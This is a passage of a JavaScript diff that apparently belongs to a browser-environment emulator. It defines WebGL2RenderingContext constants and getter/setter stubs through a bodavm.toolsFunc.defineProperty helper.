{ + configurable: false, + enumerable: true, + writable: false, + value: 36308 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36311 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT32F", { + configurable: false, + enumerable: true, + writable: false, + value: 36012 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH32F_STENCIL8", { + configurable: false, + enumerable: true, + writable: false, + value: 36013 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_32_UNSIGNED_INT_24_8_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 36269 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING", { + configurable: false, + enumerable: true, + writable: false, + value: 33296 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 33297 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33298 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33299 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33300 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33301 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33302 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33303 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_DEFAULT", { + configurable: false, + enumerable: true, + writable: false, + value: 33304 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_24_8", { + configurable: false, + enumerable: true, + writable: false, + value: 34042 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH24_STENCIL8", { + configurable: false, + enumerable: true, + writable: false, + value: 35056 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 35863 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36008 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36009 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36010 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 36011 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER", { + configurable: false, + enumerable: true, + writable: false, + value: 36052 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COLOR_ATTACHMENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 36063 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT1", { + configurable: false, + enumerable: true, + writable: false, + value: 36065 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT2", { + configurable: false, + enumerable: true, + writable: false, + value: 36066 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT3", { + configurable: false, + enumerable: true, + writable: false, + value: 36067 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT4", { + configurable: false, + enumerable: true, + writable: false, + value: 36068 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT5", { + configurable: false, + enumerable: true, + writable: false, + value: 36069 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT6", { + configurable: false, + enumerable: true, + writable: false, + value: 36070 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT7", { + configurable: false, + enumerable: true, + writable: false, + value: 36071 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT8", { + configurable: false, + enumerable: true, + writable: false, + value: 36072 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT9", { + configurable: false, + enumerable: true, + writable: false, + value: 36073 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT10", { + configurable: false, + enumerable: true, + writable: false, + value: 36074 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT11", { + configurable: false, + enumerable: true, + writable: false, + value: 36075 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT12", { + configurable: false, + enumerable: true, + writable: false, + value: 36076 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT13", { + configurable: false, + enumerable: true, + writable: false, + value: 36077 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT14", { + configurable: false, + enumerable: true, + writable: false, + value: 36078 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT15", { + configurable: false, + enumerable: true, + writable: false, + value: 36079 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MULTISAMPLE", { + configurable: false, + enumerable: true, + writable: false, + value: 36182 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 36183 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HALF_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5131 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG", { + configurable: false, + enumerable: true, + writable: false, + value: 33319 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 33320 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8", { + configurable: false, + enumerable: true, + writable: false, + value: 33321 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8", { + configurable: false, + enumerable: true, + writable: false, + value: 33323 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16F", { + configurable: false, + enumerable: true, + writable: false, + value: 33325 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32F", { + configurable: false, + enumerable: true, + writable: false, + value: 33326 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16F", { + configurable: false, + enumerable: true, + writable: false, + value: 33327 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32F", { + configurable: false, + enumerable: true, + writable: false, + value: 33328 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8I", { + configurable: false, + enumerable: true, + writable: false, + value: 33329 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33330 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16I", { + configurable: false, + enumerable: true, + writable: false, + value: 33331 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33332 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32I", { + configurable: false, + enumerable: true, + writable: false, + value: 33333 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33334 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8I", { + configurable: false, + enumerable: true, + writable: false, + value: 33335 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33336 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16I", { + configurable: false, + enumerable: true, + writable: false, + value: 33337 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33338 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32I", { + configurable: false, + enumerable: true, + writable: false, + value: 33339 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33340 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ARRAY_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34229 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36756 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36757 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36758 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36759 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNED_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 36764 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36662 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36663 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36662 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36663 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35345 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35368 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_START", { + configurable: false, + enumerable: true, + writable: false, + value: 35369 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35370 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35371 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35373 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35374 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BUFFER_BINDINGS", { + configurable: false, + enumerable: true, + writable: false, + value: 35375 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BLOCK_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35376 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35377 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35379 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_OFFSET_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 35380 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35382 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35383 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35384 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 35386 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35387 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 35388 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_MATRIX_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 35389 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_IS_ROW_MAJOR", { + configurable: false, + enumerable: true, + writable: false, + value: 35390 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35391 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_DATA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35392 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35394 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES", { + configurable: false, + enumerable: true, + writable: false, + value: 35395 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35396 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35398 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 4294967295 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_OUTPUT_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 37154 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_INPUT_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 37157 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SERVER_WAIT_TIMEOUT", { + configurable: false, + enumerable: true, + writable: false, + value: 37137 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 37138 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_CONDITION", { + configurable: false, + enumerable: true, + writable: false, + value: 37139 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 37140 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLAGS", { + configurable: false, + enumerable: true, + writable: false, + value: 37141 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 37142 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_GPU_COMMANDS_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 37143 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37144 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37145 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALREADY_SIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37146 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_EXPIRED", { + configurable: false, + enumerable: true, + writable: false, + value: 37147 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONDITION_SATISFIED", { + configurable: false, + enumerable: true, + writable: false, + value: 37148 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "WAIT_FAILED", { + configurable: false, + enumerable: true, + writable: false, + value: 37149 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLUSH_COMMANDS_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_DIVISOR", { + configurable: false, + enumerable: true, + writable: false, + value: 35070 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED", { + configurable: false, + enumerable: true, + writable: false, + value: 35887 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED_CONSERVATIVE", { + configurable: false, + enumerable: true, + writable: false, + value: 36202 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35097 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36975 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_2_10_10_10_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 36255 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK", { + configurable: false, + enumerable: true, + writable: false, + value: 36386 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PAUSED", { + configurable: false, + enumerable: true, + writable: false, + value: 36387 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_ACTIVE", { + configurable: false, + enumerable: true, + writable: false, + value: 36388 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36389 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 37167 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENT_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 36203 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_LEVELS", { + configurable: false, + enumerable: true, + writable: false, + value: 33503 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_IGNORED", { + configurable: false, + enumerable: true, + writable: false, + value: -1 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CLIENT_WAIT_TIMEOUT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37447 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferWidth", { + configurable: true, + enumerable: true, + get: function drawingBufferWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferHeight", { + configurable: true, + enumerable: true, + get: function drawingBufferHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferColorSpace", { + configurable: true, + enumerable: true, + get: function drawingBufferColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferColorSpace_get", arguments); + }, + set: function drawingBufferColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferColorSpace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "unpackColorSpace", { + configurable: true, + enumerable: true, + get: function unpackColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "unpackColorSpace_get", arguments); + }, + set: function unpackColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "unpackColorSpace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 16384 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POINTS", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINES", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_LOOP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLES", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_FAN", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ZERO", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 768 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 769 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 770 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 771 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 772 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 773 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 774 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 775 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 776 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_ADD", { + configurable: false, + enumerable: true, + writable: false, + value: 32774 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 34877 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32778 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_REVERSE_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32779 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32969 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32970 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32971 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32769 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32770 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32771 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32772 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32773 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34962 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34963 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34964 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34965 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35040 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35044 +}, 'prototype'); 